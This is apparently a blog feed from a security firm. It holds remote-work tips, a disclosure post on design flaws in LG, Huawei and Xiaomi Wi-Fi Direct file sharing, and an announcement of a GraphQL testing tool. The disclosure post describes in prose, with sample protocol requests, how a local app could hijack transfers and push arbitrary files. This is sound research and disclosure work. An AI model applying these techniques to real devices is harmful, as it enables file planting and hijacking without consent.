<p>The most effective solution is to work in a separate and dedicated room, which automatically becomes your office. It is important to physically separate somehow the workplace from the rest of the house, e.g. a screen, small bookcase or curtain. The worst thing you can do is work on the couch or bed where you usually rest. We try not to review source code from the place where we normally eat snacks, or debug an application in the same place we sleep. If possible, work at a desk. It will also be easier for you to mobilize yourself for a specific activity. Also, make sure that your household, especially your young children, do not play in your “office area”. It will be best if this “home office space” belongs exclusively to you.</p>
<h4 id="2-the-importance-of-a-workplace">2. The importance of a workplace</h4>
<p>Prepare a desk with adequate lighting and a comfortable chair. We emphasize the need for a functional, ergonomic chair, and not simply an armchair. It’s about working effectively. The time to relax will come later. Arrange everything so that you work with ease. Notebooks and other materials should be tidied up on the desk and kept neat. This will be a clear, distinguishing feature of the work place. Family members should know that this is a work area from the way it looks. It will be easier for them to get used to the fact that instead of “going to work,” work related responsibilities will be performed at home. Also, this setup gives an opportunity to make security testing more efficient - for example by setting up bigger screens and ready to use testing equipment.</p>
<h4 id="3-control-your-time-establish-a-routine">3. Control your time (establish a routine)</h4>
<p>A flexible working time can be treacherous. There are times when an eight hour working day is sufficient to complete an important project. On the other hand, there are situations where various distractions can take attention away from an assigned task. In order to avoid this type of scenario, fixed working hours must be established. For example, some Doyensec employees use <a href="https://apps.apple.com/us/app/be-focused-focus-timer/id973130201">BeFocused</a> and <a href="https://timingapp.com/?lang=en">Timing</a> apps to regulate their time. Intuitive and user friendly applications will help you balance your private and professional life and will also remind you when it’s time to take a break. Working long hours with no breaks is the main source of burnout.</p>
<h4 id="4-find-excuses-to-leave-your-house-vary-the-routine">4. Find excuses to leave your house (vary the routine)</h4>
<p>Traditional work is usually based on a structured day spent in an office environment. The day is organized into work sessions and breaks. When working at home, on the other hand, time must be allotted for non-work related responsibilities on a more subjective basis. It is important for the routine to be elastic enough to include breaks for everything from physical activity (walks) to shopping (groceries) and social interaction.
Leaving the house regularly is very beneficial. A break will bring on a refreshed perspective. The current pandemic is obviously the reason why people spend more time inside. Outside physical activities are very important to keep our minds fresh and a set of new endorphins is always welcome. As proof of evidence, our best bugs are usually discovered after a run or a walk outside!</p>
<h4 id="5-avoid-distractions">5. Avoid distractions</h4>
<p>While this sounds like simple and intuitive advice, avoiding distractions is actually really difficult! In general it’s good to turn off notifications on your computer or phone, especially while working. We trust our people and they don’t have to be immediately 100% reachable when working. As long as our consultants provide updates and results when needed, it is perfectly fine to shutdown email and other communication channels. Depending on personal preference, some individuals require complete silence, while others can accomplish their work while listening to music. If you belong to that category of people who cannot work in absolute silence and normal music levels are too intense, consider using <a href="https://www.youtube.com/watch?v=yLOM8R6lbzg">white noise</a>. There are applications available that you can use to create a neutral soundtrack that helps you to concentrate. You can easily follow our recommendation on <strong>Spotify</strong>: <a href="https://open.spotify.com/user/spotify/playlist/37i9dQZF1DWZeKCadgRdKQ?si=WT4TRMiBSC2txtZbyzg82A">something calm</a>, <a href="https://open.spotify.com/user/spotify/playlist/37i9dQZF1DWV7EzJMK2FUI?si=xf7hCOslTDmLspG29G8dDA">maybe jazz style</a> or <a href="https://open.spotify.com/user/spotify/playlist/37i9dQZF1DWXUpC6mczRpA?si=5SgZ-9_zT4yX-fURma50YQ">classy</a>.</p>
<div style="text-align: center;">
<img src="../../../public/images/factmyth.jpg" title="FactMyth" alt="FactMyth" align="center" style="display: block; margin-left: auto; margin-right: auto; width: 50%" />
</div>
<h3 id="seven-myths">Seven Myths</h3>
<p>Let’s now talk about some myths related to remote work:</p>
<h4 id="1-remote-employees-have-no-control-over-projects">1. Remote employees have no control over projects</h4>
<p>At Doyensec, we have successfully delivered hundreds of projects that were done exclusively remotely. If we are delivering a small project, we usually allocate one security researcher who is able to start the project from scratch and deliver a high quality deliverable, but sometimes we have 2-3 consultants working on the same engagement and the outcome is of the same quality.
Most of our communication goes through (<a href="https://gpgtools.org/">PGP-encrypted</a>) emails. An instant messenger can help a great deal when answers are needed quickly.
The real challenge is in hiring the right people who can control the project regardless of their physical location. While employing people for our company, we look at both technical and project management skills. According to Jason Fried and Davis Heinemeier Hansson, 37 Signal co-founders, you shouldn’t hire people you don’t trust (<a href="https://www.amazon.com/Remote-Office-Required-Jason-Fried/dp/0804137501">Remote</a>). We totally agree with this statement.</p>
<h4 id="2-remote-employees-cannot-learn-from-colleagues">2. Remote employees cannot learn from colleagues</h4>
<p>The obvious fact is that it is easier to learn when a colleague is physically in the same office and not on the other side of the screen, but we have learned to deal with this problem. Part of our organizational culture is a “screen sharing session” where two people working on the same project analyze source code and look for vulnerabilities together. During our weekly meetings, we also organize a session called “best bugs” where we all share the most interesting findings from a given week.</p>
<h4 id="3-remote-work--lack-of-work--life-balance">3. Remote work = lack of work & life balance?</h4>
<p>If a person is not able to organize his/her work day properly, it is easy to drag out the work day from early in the morning to midnight instead of completing everything within the expected eight hours. Self discipline and iterative improvements are the key solutions for an effective day. Work/life balance is important, but who said that forcing a 9am-5pm schedule is the best way to work? Wouldn’t it be better to visit a grocery store or a gym in the middle of the day when no one is around and finish work in the evening?</p>
<h4 id="4-employees-not-under-control">4. Employees not under control</h4>
<p>Healthy remote companies rely on trust. If they didn’t then they wouldn’t offer remote work opportunities in the first place. People working at home carry out their duties like everyone else. In fact, planning activities such as gym-workouts, family time, and hobbies is much easier thanks to the flexible schedule. You can freely organize your work day around important family matters or other responsibilities if necessary.</p>
<p>Companies should be focused on having better hiring processes and ensuring long-term retention instead of being over concerned about the risk of “remote slacking”. In fact, our experience in the past four years would actually suggest that it is more challenging to ensure a healthy work/life balance since our researchers are sufficiently motivated and love what they do.</p>
<h4 id="5-remote-work-means-working-outside-the-employers-office">5. Remote work means working outside the employer’s office</h4>
<p>It should be understood that not all remote work is the same. If you work in customer service and receive regular calls from customers, for example, you might be working from a confined space in a separate room at home. Remote work means working outside the employer’s office. It can mean working in a co-working space, cafeteria, hotel or any other place where you have a good Internet connection.</p>
<h4 id="6-remote-work-is-lonely">6. Remote work is lonely</h4>
<p>This one is a bit tricky since it’s technically true and false. It’s true that you usually sit at home and work alone, but in our security work we’re constantly exchanging information via e-mails, <a href="https://mattermost.com/">Mattermost</a>, <a href="https://signal.org/en/">Signal</a>, etc. We also have <a href="https://hangouts.google.com/">Hangouts</a> video meetings where we can sync up. If someone feels personally isolated, we always recommend signing up for some activities like a gym, book club or other options where like-minded people associate. Lonely individuals are less productive over the long run. Compared to the traditional office model, remote work requires looking for friends and colleagues outside the company - which isn’t a bad thing after all.</p>
<h4 id="7-remote-work-is-for-everyone">7. Remote work is for everyone</h4>
<p>We strongly believe that there are people who will still prefer an onsite job. Some individuals need constant contact with others. They also prefer the standard 9am-5pm work schedule. There is nothing wrong with that. People that are working remotely have to make more decisions on their own and need stronger self-discipline. Since they are unable to engage in direct consultation with co-workers, a reduction of direct communication occurs. Nevertheless, remote work will become something “normal” for an increasing number of people, especially for the Y and Z generation.</p>
Novel Abuses On Wi-Fi Direct Mobile File Transfers2020-12-10T00:00:00+01:00https://blog.doyensec.com/2020/12/10/novel-abuses-wifi-direct-mobile-file-transfers<style>.novel-abuses-on-wi-fi-direct-mobile-file-transfers li {list-style-type: decimal;} .novel-abuses-on-wi-fi-direct-mobile-file-transfers #markdown-toc>li, .novel-abuses-on-wi-fi-direct-mobile-file-transfers #markdown-toc>li>ul>li { list-style-type: lower-roman; } .novel-abuses-on-wi-fi-direct-mobile-file-transfers #markdown-toc>li>ul { margin-bottom: 0rem;} .dot { width: 22px;background-color: #ffd965;border-radius: 50%;display: inline-table;font-weight: bold;text-align:center;}</style>
<p>The <a href="https://www.wi-fi.org/discover-wi-fi/wi-fi-direct">Wi-Fi Direct</a> specification (a.k.a. “peer-to-peer” or “P2P” Wi-Fi) turned 10 years old this past April. This 802.11 extension has been available <a href="https://developer.android.com/guide/topics/connectivity/wifip2p">since Android 4.0</a> through a dedicated API that interfaces with a devices’ built-in hardware which directly connects to each other via Wi-Fi without an intermediate access point.
Multiple mobile vendors and early adopters of this technology quickly leveraged the standard to provide their products with a fast and reliable file transfer solution.</p>
<p>After almost a decade, <strong>a huge majority of mobile OEMs still rely on custom locked-in implementations for file transfer</strong>, even if <a href="https://www.xda-developers.com/oneplus-realme-black-shark-meizu-join-xiaomi-oppo-vivo-file-transfer-alliance/">large cross-vendors alliances</a> (e.g. the <em>“Peer-to-Peer Transmission Alliance”</em>) and big players like <a href="https://www.xda-developers.com/android-nearby-share-file-sharing-chrome-os-windows-macos-linux-chrome/">Google</a> (with the recent <em>“Nearby Share”</em> feature) are moving to change this in the near future.</p>
<div style="text-align: center;">
<a href="https://xkcd.com/949/" target="_blank" rel="noopener noreferrer"><img src="../../../public/images/file_transfer.png" title="Every time you email a file to yourself so you can pull it up on your friend's laptop, Tim Berners-Lee sheds a single tear." align="center" style="display: block; margin-left: auto; margin-right: auto; max-width: 60%;" /></a>
</div>
<p>During our research, three popular P2P file transfer implementations were studied (namely <em>Huawei Share</em>, <em>LG SmartShare Beam</em>, <em>Xiaomi Mi Share</em>) and <strong>all of them were found to be vulnerable due to an insecure shared design</strong>. While some groundbreaking research work attacking the protocol layer has already been presented by <a href="https://www.youtube.com/watch?v=HukhsrYlrAo">Andrés Blanco during Black Hat EU 2018</a>, we decided to focus on the application layer of this particular class of custom UPnP service.</p>
<p>This blog post will cover the following topics:</p>
<ul id="markdown-toc">
<li><a href="#a-recurrent-design-pattern" id="markdown-toc-a-recurrent-design-pattern">A Recurrent Design Pattern</a></li>
<li><a href="#lg-smartshare-beam" id="markdown-toc-lg-smartshare-beam">LG SmartShare Beam</a> <ul>
<li><a href="#what-could-go-wrong" id="markdown-toc-what-could-go-wrong">What could go wrong?</a></li>
</ul>
</li>
<li><a href="#huawei-share" id="markdown-toc-huawei-share">Huawei Share</a> <ul>
<li><a href="#abusing-ftsftc-crashes" id="markdown-toc-abusing-ftsftc-crashes">Abusing FTS/FTC Crashes</a></li>
</ul>
</li>
<li><a href="#xiaomi-mi-share" id="markdown-toc-xiaomi-mi-share">Xiaomi Mi Share</a></li>
<li><a href="#conclusions" id="markdown-toc-conclusions">Conclusions</a></li>
</ul>
<hr />
<h3 id="a-recurrent-design-pattern">A Recurrent Design Pattern</h3>
<p>On the majority of OEMs solutions, mobile file transfer applications will spawn two servers:</p>
<ul>
<li>A <em>File Transfer Controller or Client <strong>(FTC)</strong></em>, that will manage the majority of the pairing and transfer control flow</li>
<li>A <em>File Transfer Server <strong>(FTS)</strong></em>, that will check a session’s validity and serve the intended shared file</li>
</ul>
<p>These two services are used for device discovery, pairing and sessions, authorization requests, and file transport functions. Usually they are implemented as classes of a shared parent application which orchestrate the entire transfer. These components are responsible for:</p>
<ol>
<li>Creating the Wi-Fi Direct network</li>
<li>Using the standard <a href="http://upnp.org/resources/documents/UPnP_UDA_tutorial_July2014.pdf">UPnP phases</a> to announce the device, the file service description (<code class="language-plaintext highlighter-rouge">/description.xml</code>), and events subscription</li>
<li>Issuing a UPnP remote procedure call to create a transfer request with another peer</li>
<li>Upon acceptance from the recipient, uploading the target file through an HTTP POST/PUT request to a defined location</li>
</ol>
<p>An important consideration for the following abuses is that after a P2P Wi-Fi connection is established, its network interface (<code class="language-plaintext highlighter-rouge">p2p-wlan0-0</code>) <a href="https://developer.android.com/reference/java/net/NetworkInterface">is available</a> to every application running on the user’s device having <code class="language-plaintext highlighter-rouge">android.permission.INTERNET</code>. Because of this, <strong>local apps can interact with the FTS and FTC services spawned by the file sharing applications on the local or remote device clients, opening the door to a multitude of attacks.</strong></p>
<hr />
<h2 id="lg-smartshare-beam">LG SmartShare Beam</h2>
<p>Smartshare is a stock LG solution to connect their phones to other devices using Wi-Fi (DLNA, Miracast) or Bluetooth (A2DP, OPP). The <em>Beam</em> feature is used for file transfer among LG devices.</p>
<div style="text-align: center;">
<video controls="" poster="../../../public/images/LGSmartShare.jpg" src="../../../public/images/LGSmartShare.mp4" title="SmartShare Product Overview" autoplay="" muted="" loop="true" playsinline="" align="center" style="max-width: 80%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;"></video>
</div>
<p>Just like other similar applications, an FTS ( <code class="language-plaintext highlighter-rouge">FileTransferTransmitter</code> in <code class="language-plaintext highlighter-rouge">com.lge.wfds.service.send.tx</code>) and an FTC (<code class="language-plaintext highlighter-rouge">FileTransferReceiver</code> in <code class="language-plaintext highlighter-rouge">com.lge.wfds.service.send.rx</code>) are spawned and listening on ports <code class="language-plaintext highlighter-rouge">54003</code> and <code class="language-plaintext highlighter-rouge">55003</code>.</p>
<p>As a way of example, the following HTTP requests demonstrate the FTC and the FTS in action whenever a file transfer session between two parties is requested. First, the FTS performs a <code class="language-plaintext highlighter-rouge">CreateSendSession</code> SOAP action:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /FileTransfer/control.xml HTTP/1.1
Connection: Keep-Alive
HOST: 192.168.49.1:55003
Content-Type: text/xml; charset="utf-8"
Content-Length: 1025
SOAPACTION: "urn:schemas-wifialliance-org:service:FileTransfer:1#CreateSendSession"
<span class="cp"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="nt"><s:Envelope</span>
<span class="na">xmlns:s=</span><span class="s">"http://schemas.xmlsoap.org/soap/envelope/"</span> <span class="na">s:encodingStyle=</span><span class="s">"http://schemas.xmlsoap.org/soap/encoding/"</span><span class="nt">></span>
<span class="nt"><s:Body></span>
<span class="nt"><u:CreateSendSession</span>
<span class="na">xmlns:u=</span><span class="s">"urn:schemas-wifialliance-org:service:FileTransfer:1"</span><span class="nt">></span>
<span class="nt"><Transmitter></span>Doyensec LG G6 Phone<span class="nt"></Transmitter></span>
<span class="nt"><SessionInformation></span><span class="ni">&lt;</span>?xml version=<span class="ni">&quot;</span>1.0<span class="ni">&quot;</span> encoding=<span class="ni">&quot;</span>UTF-8<span class="ni">&quot;</span>?<span class="ni">&gt;&lt;</span>MetaInfo
xmlns=<span class="ni">&quot;</span>urn:wfa:filetransfer<span class="ni">&quot;</span>
xmlns:xsd=<span class="ni">&quot;</span>http://www.w3.org/2001/XMLSchema<span class="ni">&quot;</span>
xmlns:xsi=<span class="ni">&quot;</span>http://www.w3.org/2001/XMLSchema-instance<span class="ni">&quot;</span> xsi:schemaLocation=<span class="ni">&quot;</span>urn:wfa:filetransfer http://www.wi-fi.org/specifications/wifidirectservices/filetransfer.xsd<span class="ni">&quot;&gt;&lt;</span>Note<span class="ni">&gt;</span>1 and 4292012bytes File Transfer<span class="ni">&lt;</span>/Note<span class="ni">&gt;&lt;</span>Size<span class="ni">&gt;</span>4292012<span class="ni">&lt;</span>/Size<span class="ni">&gt;&lt;</span>NoofItems<span class="ni">&gt;</span>1<span class="ni">&lt;</span>/NoofItems<span class="ni">&gt;&lt;</span>Item<span class="ni">&gt;&lt;</span>Name<span class="ni">&gt;</span>CuteCat.jpg<span class="ni">&lt;</span>/Name<span class="ni">&gt;&lt;</span>Size<span class="ni">&gt;</span>4292012<span class="ni">&lt;</span>/Size<span class="ni">&gt;&lt;</span>Type<span class="ni">&gt;</span>image/jpeg<span class="ni">&lt;</span>/Type<span class="ni">&gt;&lt;</span>/Item<span class="ni">&gt;&lt;</span>/MetaInfo<span class="ni">&gt;</span>
<span class="nt"></SessionInformation></span>
<span class="nt"></u:CreateSendSession></span>
<span class="nt"></s:Body></span>
<span class="nt"></s:Envelope></span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">SessionInformation</code> node embeds an entity-escaped standard Wi-Fi Alliance schema, <a href="http://www.wi-fi.org/specifications/wifidirectservices/filetransfer.xsd">urn:wfa:filetransfer</a>, transmitting a <em>CuteCat.jpg</em> picture.
The file name (<code class="language-plaintext highlighter-rouge">MetaInfo/Item/Name</code>) is displayed in the file transfer prompt to show to the final recipient the name of the transmitted file. By design, after the recipient’s confirmation, a <code class="language-plaintext highlighter-rouge">CreateSendSessionResponse</code> SOAP response will be returned:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Date: Sun, 01 Jun 2020 12:00:00 GMT
Connection: Keep-Alive
Content-Type: text/xml; charset="utf-8"
Content-Length: 404
EXT:
SERVER: UPnPServer/1.0 UPnP/1.0 Mobile/1.0
<span class="cp"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="nt"><s:Envelope</span>
<span class="na">xmlns:s=</span><span class="s">"http://schemas.xmlsoap.org/soap/envelope/"</span> <span class="na">s:encodingStyle=</span><span class="s">"http://schemas.xmlsoap.org/soap/encoding/"</span><span class="nt">></span>
<span class="nt"><s:Body></span>
<span class="nt"><u:CreateSendSessionResponse</span>
<span class="na">xmlns:u=</span><span class="s">"urn:schemas-wifialliance-org:service:FileTransfer:1"</span><span class="nt">></span>
<span class="nt"><SendSessionID></span>33<span class="nt"></SendSessionID></span>
<span class="nt"><TransportInfo></span>tcp:55432<span class="nt"></TransportInfo></span>
<span class="nt"></u:CreateSendSessionResponse></span>
<span class="nt"></s:Body></span>
<span class="nt"></s:Envelope></span>
</code></pre></div></div>
<p>This will contain the <code class="language-plaintext highlighter-rouge">TransportInfo</code> destination port that will be used for the final transfer:</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">PUT</span> <span class="nn">/CuteCat.jpeg</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">LGMobile</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">192.168.49.1:55432</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">4292012</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">Keep-Alive</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">image/jpeg</span>
.... .Exif..MM ...<redacted>
</code></pre></div></div>
<h3 id="what-could-go-wrong">What could go wrong?</h3>
<p>Unfortunately this design suffers many issues, such as:</p>
<ul>
<li><strong>A valid session ID isn’t required to finalize the transfer</strong><br />
Once a <code class="language-plaintext highlighter-rouge">CreateSendSessionResponse</code> is issued, no authentication is required to push a file to the opened RX port. Since the <code class="language-plaintext highlighter-rouge">DEFAULT_HTTPSERVER_PORT</code> for the receiver is hardcoded to be <code class="language-plaintext highlighter-rouge">55432</code>, any application running on the sender’s or recipient’s device can hijack the transfer and push an arbitrary file to the victim’s storage, just by issuing a valid <code class="language-plaintext highlighter-rouge">PUT</code> request. On top of that, the current Session IDs are easily guessable, since they are randomly chosen from a small pool (<code class="language-plaintext highlighter-rouge">WfdsUtil.randInt(1, 100)</code>);</li>
<li><strong>File names and type can be arbitrarily changed by the sender</strong><br />
Since the transferred file name is never checked to reflect the one initially prompted to the user, it is possible for an attacker to specify a different file name or type from the one initially shown just by changing the <code class="language-plaintext highlighter-rouge">PUT</code> request path to an arbitrary value.</li>
<li><strong>It is possible to send multiple files at once without user confirmation</strong><br />
Once the RX port (<code class="language-plaintext highlighter-rouge">DEFAULT_HTTPSERVER_PORT</code>) is opened, it is possible for an attacker to send multiple files in a single transaction, without prompting any notification to the recipient.</li>
</ul>
<p>Because of the above design issues, any malicious third-party application installed on one of the peers’ devices may influence or take over any communication initiated by the legit LG SmartShare applications, potentially hijacking legit file transfers. A wormable malicious application could abuse this insecure design to flood the local or remote victim waiting for a file transfer, effectively propagating its malicious APK without user interaction required. An attacker could also abuse this design to implant arbitrary files or evidence on a victim’s device.</p>
<hr />
<h2 id="huawei-share">Huawei Share</h2>
<p>Huawei Share is another file sharing solution included in Huawei’s EMUI operating system, supporting both Huawei terminals and those of its second brand, Honor.</p>
<div style="text-align: center;">
<video controls="" poster="../../../public/images/HuaweiShare.jpg" src="../../../public/images/HuaweiShare.mp4" title="Huawei Share Product Overview" autoplay="" muted="" loop="true" playsinline="" align="center" style="max-width: 80%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;"></video>
</div>
<p>In Huawei Share, an FTS (<code class="language-plaintext highlighter-rouge">FTSService</code> in <code class="language-plaintext highlighter-rouge">com.huawei.android.wfdft.fts</code>) and an FTC (<code class="language-plaintext highlighter-rouge">FTCService</code> in <code class="language-plaintext highlighter-rouge">com.huawei.android.wfdft.ftc</code>) are spawned and listening on ports <code class="language-plaintext highlighter-rouge">8058</code> and <code class="language-plaintext highlighter-rouge">33003</code>.
On a high level, the Share protocol resembles the LG SmartShare Beam mechanism, but without the same design flaws.</p>
<p>Unfortunately, the stumbling block for Huawei Share is the stability of the services: multiple HTTP requests that could respectively crash the <code class="language-plaintext highlighter-rouge">FTCService</code> or <code class="language-plaintext highlighter-rouge">FTSService</code> were identified. Since the crashes could be triggered by any third-party application installed on the user’s device and because of the UPnP <a href="http://upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.1.pdf">General Event Notification Architecture (GENA)</a> design itself, <strong>an attacker can still take over any communication initiated by the legit Huawei Share applications, stealing Session IDs and hijacking file transfers.</strong></p>
<h3 id="abusing-ftsftc-crashes">Abusing FTS/FTC Crashes</h3>
<p>In the replicated attack scenario, Alice and Bob’s devices are connected and paired on a Direct Wi-Fi connection. Bob also unwittingly runs a malicious application with little or no privileges on his device.
In this scenario, Bob initiates a file share through Huawei Share <span class="dot">1</span>. His legit application will, therefore, send a <code class="language-plaintext highlighter-rouge">CreateSession</code> SOAP action through a POST request to Alice’s <code class="language-plaintext highlighter-rouge">FTCService</code> to get a valid <code class="language-plaintext highlighter-rouge">SessionID</code>, which will be used as an authorization token for the rest of the transaction. During a standard exchange, after Alice accepts the transfer on her device, a file share event notification (<code class="language-plaintext highlighter-rouge">NOTIFY /evetSub</code>) will fire to Bob’s <code class="language-plaintext highlighter-rouge">FTSService</code>. The <code class="language-plaintext highlighter-rouge">FTSService</code> will then be used to serve the intended file.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>NOTIFY /evetSub HTTP/1.1
Content-Type: text/xml; charset="utf-8"
HOST: 192.168.49.1
NT: upnp:event
NTS: upnp:propchange
SID: uuid:e9400170-a170-15bd-802e-165F9431D43F
SEQ: 1
Content-Length: 218
Connection: close
<span class="cp"><?xml version="1.0" encoding="utf-8"?></span>
<span class="nt"><e:propertyset</span> <span class="na">xmlns:e=</span><span class="s">"urn:schemas-upnp-org:event-1-0"</span><span class="nt">></span>
<span class="nt"><e:property></span>
<span class="nt"><TransportStatus></span>1924435235:READY_FOR_TRANSPORT<span class="nt"></TransportStatus></span>
<span class="nt"></e:property></span>
<span class="nt"></e:propertyset></span>
</code></pre></div></div>
<p>Since an inherent time span exists between the manual acceptance of the transfer by Alice and its start, the malicious application could perform a request with an ad-hoc payload to trigger a crash of <code class="language-plaintext highlighter-rouge">FTSService</code> <span class="dot">2</span> and subsequently bind to the same port its own <code class="language-plaintext highlighter-rouge">FTSService</code> <span class="dot">3</span>. Because of the UPnP event subscription and notification protocol design, the <code class="language-plaintext highlighter-rouge">NOTIFY</code> event including the <code class="language-plaintext highlighter-rouge">SessionID</code> (<code class="language-plaintext highlighter-rouge">1924435235</code> in the example above) can now be intercepted by the fake <code class="language-plaintext highlighter-rouge">FTSService</code> <span class="dot">4</span> and used by the malicious application to serve arbitrary files.</p>
<div style="text-align: center;">
<img src="../../../public/images/HuaweiShareLocalAttack.png" title="Example of a local attacker exploiting a Huawei Share crash" align="center" style="display: block; margin-left: auto; margin-right: auto; max-width: 80%;" />
</div>
<p>The crashes are undetectable both to the device’s user and to the file recipient. Multiple crash vectors using malformed requests were identified, making the service systemically weak and exploitable.</p>
<hr />
<h2 id="xiaomi-mi-share">Xiaomi Mi Share</h2>
<p>Introduced with MIUI 11, Xiaomi’s MiShare offers AirDrop-like file transfer features between Mi and Redmi phones. Recently this feature was extended to be compatible with devices produced by the “Peer-to-Peer Transmission Alliance” (including vendors <a href="https://www.xda-developers.com/oneplus-realme-black-shark-meizu-join-xiaomi-oppo-vivo-file-transfer-alliance/">with over 400M users</a> such as Xiaomi, OPPO, Vivo, Realme, Meizu).</p>
<div style="text-align: center;">
<video controls="" poster="../../../public/images/MIUI-Share.png" src="../../../public/images/MIUI-Share.mp4" title="Huawei Share Product Overview" autoplay="" muted="" loop="true" playsinline="" align="center" style="max-width: 40%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;"></video>
</div>
<p>Due to this transition, MiShare internally features two different sets of APIs:</p>
<ul>
<li>One using bare HTTP requests, with many RESTful routes</li>
<li>One using mainly <a href="https://tools.ietf.org/html/rfc6455">Websockets Secure (WSS)</a> and only a handful of HTTPS requests</li>
</ul>
<p>The websocket-based API is currently used by default for transfers between Xiaomi Devices and this is the one we assessed. As in other P2P solutions, several minor design and implementation bugs were identified:</p>
<ul>
<li>
<p>The JSON-encoded parcel sent via WSS specifying the file properties is trusted and its <code class="language-plaintext highlighter-rouge">fileSize</code> parameter is used to check if there is available space on the device left. Since this is the sender’s declared file size, a Denial of Service (DoS) exhausting the remaining space is possible.</p>
</li>
<li>
<p>Session tokens (<code class="language-plaintext highlighter-rouge">taskId</code>) are 19-digits long and a weak source of entropy (<a href="https://docs.oracle.com/javase/8/docs/api/java/util/Random.html">java.util.Random</a>) is used to generate them.</p>
</li>
<li>
<p>Just like the other presented vendor solutions, any third-party application installed on the user’s device can meddle with MiShare’s exchange. While several DoS payloads crashing MiShare are also available, for this vendor the file transfer service is restarted very quickly, making the window of opportunity for an attack very limited.</p>
</li>
</ul>
<p>On a brighter note, the Mi Share protocol design was hardened using per-session TLS certificates when communicating through WSS and HTTPS, limiting the exploitability of many security issues.</p>
<hr />
<h2 id="conclusions">Conclusions</h2>
<p>Some of the attacks described can be easily replicated in other existing mobile file transfer solutions. While the core technology has always been there, OEMs still struggle to defend their own P2P sharing flavors. Other common vulnerabilities found in the past include similar improper access control issues, path traversals, XML External Entity (XXE), improper file management, and monkey-in-the-middle (MITM) of the connection.</p>
<p>All vulnerabilities briefly described in this post were responsibly disclosed to the respective OEM security teams between April and June 2020.</p>
InQL Scanner v3 - Just Released!2020-11-19T00:00:00+01:00https://blog.doyensec.com/2020/11/19/inql-scanner-v3<p>We’re very happy to announce that a new major release of <strong>InQL</strong> is now available on our <a href="https://github.com/doyensec/inql/releases/tag/v3.0.0">Release Page</a>.</p>
<div style="text-align: center;">
<img src="../../../public/images/inql.png" title="InQL Logo" alt="InQL Logo" align="center" style="display: block; margin-left: auto; margin-right: auto; width: 180px;" />
</div>
<p>If you’re not familiar, InQL is a security testing tool for <a href="https://graphql.org/">GraphQL</a> technology. It can be used as a stand-alone script or as a <a href="https://portswigger.net/burp">Burp Suite</a> extension.</p>
<p>By combining InQL v3 features with the ability to send query templates to Burp’s Repeater, we’ve made it very easy to exploit vulnerabilities in GraphQL queries and mutations. This drastically lowers the bar for security research against GraphQL tech stacks.</p>
<p>Here’s a short intro for major features that have been implemented in version 3.0:</p>
<h3 id="new-iir-introspection-intermediate-representation-and-precise-query-generation">New IIR (Introspection Intermediate Representation) and Precise Query Generation</h3>
<p>InQL now leverages an internal <em>introspection intermediate representation</em> (IIR) to use details obtained from type introspection and generate arbitrarily nested queries with support for any scalar types, enumerations, arrays, and objects. IIR enables seamless “Send to Repeater” functionality from the Scanner to the other tool components (Repeater and GraphQL console).</p>
<h3 id="new-cycles-detector">New Cycles Detector</h3>
<p>The new IIR allows us to inspect cycles in defined Graphql schemas by simply using access to graphql introspection-enabled endpoints. In this context, a cycle is a path in the Graphql schema that uses recursive objects in a way that leads to unlimited nesting. The detection of cycles is incredibly useful and automates tedious testing procedures by employing graph solving algorithms. In some of our past client engagements, this tool was able to find millions of cycles in a matter of minutes.</p>
<h3 id="new-request-timer">New Request Timer</h3>
<p>InQL 3.0.0 has an integrated <em>Query Timer</em>. This Query Timer is a reimagination of <a href="https://github.com/PortSwigger/request-timer">Request Timer</a>, which can filter for query name and body. The Query Timer is enabled by default and is especially useful in conjunction with the Cycles detector. A tester can switch between graphql-editor modes (Repeater and GraphIQL) to <a href="https://www.diva-portal.org/smash/get/diva2:1302887/FULLTEXT01.pdf">identify DoS queries</a>. Query Timer demonstrates the ability to attack such vulnerable graphql endpoints by counting each query’s execution time.</p>
<div style="text-align: center;">
<img src="../../../public/images/timerinql.gif" title="InQL Timer" alt="InQL Timer" align="center" style="display: block; margin-left: auto; margin-right: auto" />
</div>
<h3 id="bugs-fixes-and-future-development">Bugs fixes and future development</h3>
<p>We’re really thankful to all of you for reporting issues in our previous releases. We have implemented various fixes for functional and UX bugs, including a tricky bug caused by a sudden Burp Suite change in the latest 2020.11 update.</p>
<div style="text-align: center;">
<img src="../../../public/images/inqltwitterissue.png" title="InQL Twitter Issue" alt="InQL Twitter Issue" align="center" style="display: block; margin-left: auto; margin-right: auto" />
</div>
<p>We’re excited to see the community embracing InQL as the “go-to” standard for GraphQL security testing. More features to come, so keep your requests and bug reports coming via our <a href="https://github.com/doyensec/inql/issues">Github’s Issue Page</a>. Your feedback is much appreciated!</p>
<p>This project was made with love in the <a href="https://doyensec.com/research.html">Doyensec Research Island</a>.</p>
Fuzzing JavaScript Engines with Fuzzilli2020-09-09T00:00:00+02:00https://blog.doyensec.com/2020/09/09/fuzzilli-jerryscript<h2 id="background">Background</h2>
<p>As part of my research at Doyensec, I spent some time trying to understand current fuzzing techniques, which could be leveraged against the popular JavaScript engines (JSE) with a focus on V8. Note that I did not have any prior experience with fuzzing JSEs before starting this journey.</p>
<h3 id="dharma">Dharma</h3>
